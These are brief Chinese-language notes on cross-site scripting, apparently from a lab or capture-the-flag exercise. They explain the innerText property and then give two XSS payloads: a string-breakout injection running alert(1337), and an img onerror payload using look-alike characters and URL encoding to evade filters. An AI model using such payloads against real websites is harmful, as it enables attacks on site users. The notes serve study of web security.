XSS跨站攻击

一、

#innerText 是 JavaScript 中的一个 DOM（文档对象模型）属性，表示 HTML 元素的可见文本内容。它包含元素及其子元素中的所有文本，同时排除任何标记或隐藏文本。<script>中不包含可见文本。

二、

jeff=xxx";%20alert(1337);"

三、

四、

?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%25281337%2529">